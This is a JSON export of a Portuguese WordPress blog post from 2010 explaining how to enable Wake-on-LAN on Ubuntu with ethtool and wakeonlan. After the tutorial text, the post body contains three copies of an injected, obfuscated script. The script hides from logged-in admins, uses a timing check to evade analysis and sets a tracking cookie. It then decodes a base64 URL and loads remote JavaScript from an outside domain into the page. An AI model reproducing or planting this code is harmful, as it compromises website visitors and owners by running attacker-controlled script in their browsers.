{"id":707,"date":"2010-11-01T12:12:26","date_gmt":"2010-11-01T14:12:26","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=707"},"modified":"2025-10-26T22:42:28","modified_gmt":"2025-10-27T01:42:28","slug":"ligando-sua-maquina-remotamente","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/01\/ligando-sua-maquina-remotamente\/","title":{"rendered":"Ligando sua m\u00e1quina remotamente"},"content":{"rendered":"<p style=\"text-align: justify;\">Existe um recurso bastante interessante nas placas de rede que permite que voc\u00ea ligue sua m\u00e1quina remotamente. Esse recurso \u00e9 conhecido como Wake up on LAN. Para habilit\u00e1-lo no Ubuntu \u00e9 uma tarefa bem simples. Digite o seguinte comando no terminal:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo apt-get install etherwake ethtool\n<\/pre>\n<p style=\"text-align: justify;\">Ap\u00f3s isso \u00e9 necess\u00e1rio habilitar a placa para ligar automaticamente, atrav\u00e9s do comando:<\/p>\n<p style=\"text-align: justify;\">\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nethtool -s eth1 wol g\n<\/pre>\n<p>Verifique se foi habilitado utilizando o comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsudo ethtool eth1\n<\/pre>\n<p style=\"text-align: justify;\">Substitua o eth1 por sua interface de rede (caso n\u00e3o saiba, verifique com o ifconfig). Voc\u00ea dever\u00e1 ter uma sa\u00edda mais ou menos assim:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nSettings for eth1:\n Supported ports: &#x5B; MII ]\n Supported link modes:\u00a0\u00a0 10baseT\/Half 10baseT\/Full\n 100baseT\/Half 100baseT\/Full\n 1000baseT\/Full\n Supports auto-negotiation: Yes\n Advertised link modes:\u00a0 10baseT\/Half 10baseT\/Full\n 100baseT\/Half 100baseT\/Full\n 1000baseT\/Full\n Advertised pause frame use: No\n Advertised auto-negotiation: Yes\n Speed: 100Mb\/s\n Duplex: Full\n Port: MII\n PHYAD: 1\n Transceiver: external\n Auto-negotiation: on\n Supports Wake-on: g\n Wake-on: g\n Link detected: yes\n<\/pre>\n<p style=\"text-align: justify;\">Anote o MAC da sua m\u00e1quina, ao digitar ifconfig \u00e9 o atributo HWaddr. Desligue e digite o seguinte a partir de outra m\u00e1quina:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nwakeonlan aa:bb:cc:dd:ee:ff\n<\/pre>\n<p style=\"text-align: justify;\">Substitua o aa:bb:cc:dd:ee:ff pelo MAC da placa de rede da m\u00e1quina que voc\u00ea quer \"acordar\". Aparecer\u00e1 a seguinte mensagem: Sending magic packet to ... e a m\u00e1quina ser\u00e1 ligada!<\/p>\n<p style=\"text-align: justify;\">Caso n\u00e3o funcione, verifique no setup da BIOS da sua m\u00e1quina se tem a op\u00e7\u00e3o Wake On Lan (WOL).<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Existe um recurso bastante interessante nas placas de rede que permite que voc\u00ea ligue sua m\u00e1quina remotamente. Esse recurso \u00e9 conhecido como Wake up on LAN. Para habilit\u00e1-lo no Ubuntu \u00e9 uma tarefa bem simples. Digite o seguinte comando no <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/11\/01\/ligando-sua-maquina-remotamente\/\">Continue lendo  <span class=\"screen-reader-text\">  Ligando sua m\u00e1quina remotamente<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64],"tags":[],"class_list":["post-707","post","type-post","status-publish","format-standard","hentry","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/707","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=707"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/707\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=707"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}